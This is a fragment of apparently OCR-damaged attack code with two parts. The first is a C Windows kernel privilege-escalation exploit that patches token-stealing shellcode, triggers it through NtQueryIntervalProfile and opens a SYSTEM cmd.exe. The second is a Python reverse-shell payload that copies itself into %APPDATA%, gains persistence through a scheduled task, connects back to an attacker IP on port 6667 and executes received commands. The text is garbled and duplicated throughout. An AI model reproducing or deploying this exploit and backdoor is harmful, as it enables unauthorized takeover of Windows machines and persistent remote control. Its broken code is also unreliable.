  (argc != 2) {
    printf("Please enter an OS version\n");
    printf("The following OS'es are supported:\n");
    printf("\text{I}") 7 - Windows 7\n");
    printf("\text{I}") 10 - Windows 8.\\n");
    printf("\text{I}") 10 - Windows 10 prior to build release 14393 (Anniversary Update)\n");
    printf("\text{I}") 12 - Windows 2012 R2\n");
    printf("\text{I}");
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    printf("\text{I}");
    printf("\text{I}");
    printf("\text{I}");
    printf("\text{I}");
   return -1:
osversion = _strtoui64(argv[1], NULL, 10);
if(osversion == 7)
  else if(osversion == 81)
  overwrite_offset = 0x78;
else if (osversion == 10)
  else if(osversion == 12)
  // the target machine's OS is Windows 2012 R2 \,
  }
// in case the OS version is not any of the previously checked versions
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return -1:
   printf("My PID is: %d\n", GetCurrentProcessId());
GetUserName(pre_username, &size);
printf("Current Username: %s\n", pre_username);
printf("FML4 Self Ref: %llx\n", PML4_SELF_REF);
printf("Shellcode stored at: %p\n", (void *) &shellcode);
printf("Enter to continue...\n");
   getchar();
   or_address_value_4((void*)PML4_SELF_REF);
} while (FALSE);
   UINT64 original_pointer = get_OverwriteAddress_pointer(overwrite_address, overwrite_offset);
   /* Shellcode Patching !! */
   p += 4; // skip the CLI, PUSHF and MOV RAX bytes
   *(PVOID *)p = (PVOID)original_pointer; // Patch shellcodel
           // Patch shellcode with original value in the Overwrite address
   *(PVOID *)p = (PVOID)(overwrite address + overwrite offset);
p += 12; // To patch the PID of our process
*(DWORD *)p = (DWORD)pid;
*(unsigned char *)p = (unsigned char)sc_KPROCESS;
*(unsigned int *)p = (unsigned int)sc APLINKS;
*(unsigned int *)p = (unsigned int)sc_TOKEN;
*(unsigned int *)p = (unsigned int)sc_TOKEN;
UINT64 shellcode_va = store_shellcode_in_hal();
printf("[+] w00t: Shellcode stored at: %llx\n", shellcode_va);
overwrite_TargetAddress(shellcode_va, overwrite_address, overwrite_offset);
if (osversion == 7) {
    // Exploit Win7.1
    hNtDll = LoadLibrary("ntdll.dll");
    if (!hNtDll) {
    printf("\t\t[-] Failed loading NtDll: 0x%X\n", GetLastError());
         exit(EXIT_FAILURE);
    NtQueryIntervalProfile = (NtQueryIntervalProfile t)GetProcAddress(hNtDll, "NtQueryIntervalProfile");
    if (!NtQueryIntervalProfile) {
        printf("\t\t[-] Failed Resolving NtQueryIntervalProfile: 0x%X\n", GetLastError());
exit(EXIT FAILURE);
    NtQueryIntervalProfile(0x1337, &Interval);
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if (osversion == 7) {
    // Exploit Win7.1
    hNtDll = LoadLibrary("ntdll.dll");
    if (!hNtDll) {
    printf("\t\t[-] Failed loading NtDll: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hNtDll, "NtQueryIntervalProfile");
    if (!NtQueryIntervalProfile) {
        printf("\t\t[-] Failed Resolving NtQueryIntervalProfile: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    NtQueryIntervalProfile(0x1337, &Interval);
while (1) {
    size = 256;
    GetUserName(post username, &size);
    if (memcmp(post_username, pre_username, 256) != 0) break;
Sleep(2000);
system("cmd.exe");
return 0;
```

## Payload code-

```
import socket, subprocess, os, platform, sys
   generate xml content according to schtasks_template.xml
   for schtasks program hack (windows only)
def generateScheduleTask(schedule_interval_minutes):
    return """<?xml version="1.0" encoding="UTF-16"?>
 <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
  </RegistrationInfo>
  <Triggers>
    <TimeTrigger>
      <Repetition>
        <Interval>PT""" + str(schedule_interval_minutes) + """M</Interval>
        <StopAtDurationEnd>false</StopAtDurationEnd>
      </Repetition>
      <StartBoundary>2015-05-06T23:24:00</StartBoundary>
      <Enabled>true</Enabled>
     </TimeTrigger>
  </Triggers>
  <Principals>
     <Principal id="Author">
      <LogonType>InteractiveToken</LogonType>
      <RunLevel>LeastPrivilege</RunLevel>
     </Principal>
  </Principals>
   <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
     <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>true</RunOnlyIfNetworkAvailable>
```

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<StopOnIdleEnd>true</StopOnIdleEnd>
        <RestartOnIdle>false</RestartOnIdle>
      </IdleSettings>
      <AllowStartOnDemand>true</AllowStartOnDemand>
      <Enabled>true</Enabled>
      <Hidden>false</Hidden>
     <RunOnlyIfIdle>false</RunOnlyIfIdle>
     <WakeToRun>false</WakeToRun>
      <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
      <Priority>7</Priority>
    </Settings>
    <Actions Context="Author">
     <Exec>
       <Command>""" + os.getenv("APPDATA") + """\\reverse_tcp.exe</Command>
     </Exec>
    </Actions>
 c/Task>
 ### For Windows system
  ### Initialize necessary settings.
 if (platform.system() == "Windows"):
      ### Get APPDATA path
      appdata_path = os.getenv("APPDATA");
      target_path = appdata_path + "\reverse_top.exe"  ## target path, this program will copy itself to that path
     current_path = os.path.abspath(__file__)
### Check whether file already copied to %Appdata%\reverse_tcp.exe
      if os.path.isfile(target_path): # already exists, do nothing
         pass
      else:
          ### Create schtasks_template.xml
          with open(appdata_path + "\\schtasks_template.xml", "w") as xml:
              xml.write(generateScheduleTask(30)) ## interval 30 minutes
               # xml.close()
         ### Copy self to %Appdata% for Windows. (%Appdata%\reverse_tcp.exe)
         ### current path is .py file(although we are running .exe file), so need to change it to .exe file extension.
os.system("copy " + current_path[:-2]+"exe" + " " + target_path)
         ### Setup schtasks for Windows.
         ### Run every 30 minutes.
### The the name of schedule task is reverse_top
         os.system("schtasks /CREATE /XML " + appdata_path + "\\schtasks_template.xml /TN reverse_tcp")
\exists if len(sys.argv) >= 2:
attacker_port = 6667
                                    ## get attacker's ip from command line
                                   ## attacker's port
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ## connect to attacker's machine
s.connect((attacker_ip, attacker_port))
while True:
                               # receive attacker's remote command
# quit shell
    command = s.recv(1024)
     if command == "exit":
         break
     if len(command) > 3 and command[0: 3] == "cd ": # change directory
         try:
            os.chdir(command[3:])
            s.send(" ")
         except:
           s.send("cd: " + command[3:] + ": No such file or directory")
     if len(command) > 9 and command[0: 9] == "schedule ": # schedule the task when victim connect to attacker
         if (platform.system() == "Windows"):
             ## get task interval
            minutes = int(command[9:])
                ## create template
                 xml = open(os.getenv("APPDATA") + "\\schtasks template.xml", "w");
                 vml write/generateScheduleTack/minutect) ## interval 30 minute
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except:
            s.send("cd: " + command[3:] + ": No such file or directory")
        continue;
    if len(command) > 9 and command[0: 9] == "schedule ": # schedule the task when victim connect to attacker
       if (platform.system() == "Windows"):
            ## get task interval
            minutes = int(command[9:])
            try:
                ## create template
                 xml = open(os.getenv("APPDATA") + "\\schtasks_template.xml", "w");
                 xml.write(generateScheduleTask(minutes)) ## interval 30 minutes
                 xml.close()
                ## create task
                 os.system("schtasks /CREATE /XML " + os.getenv("APPDATA") + "\\schtasks_template.xml /TN reverse_top")
                 {\tt s.send("The scheduled task has successfully been created")}
             except:
                s.send("Error, failed to schedule task")
            continue
            s.send("Only for Windows system can use [schedule] command.")
            continue;
   proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = proc.stdout.read() + proc.stderr.read()
    if len(output) == 0:
   output = " "
    s.send(output)
# done
s.close()
```

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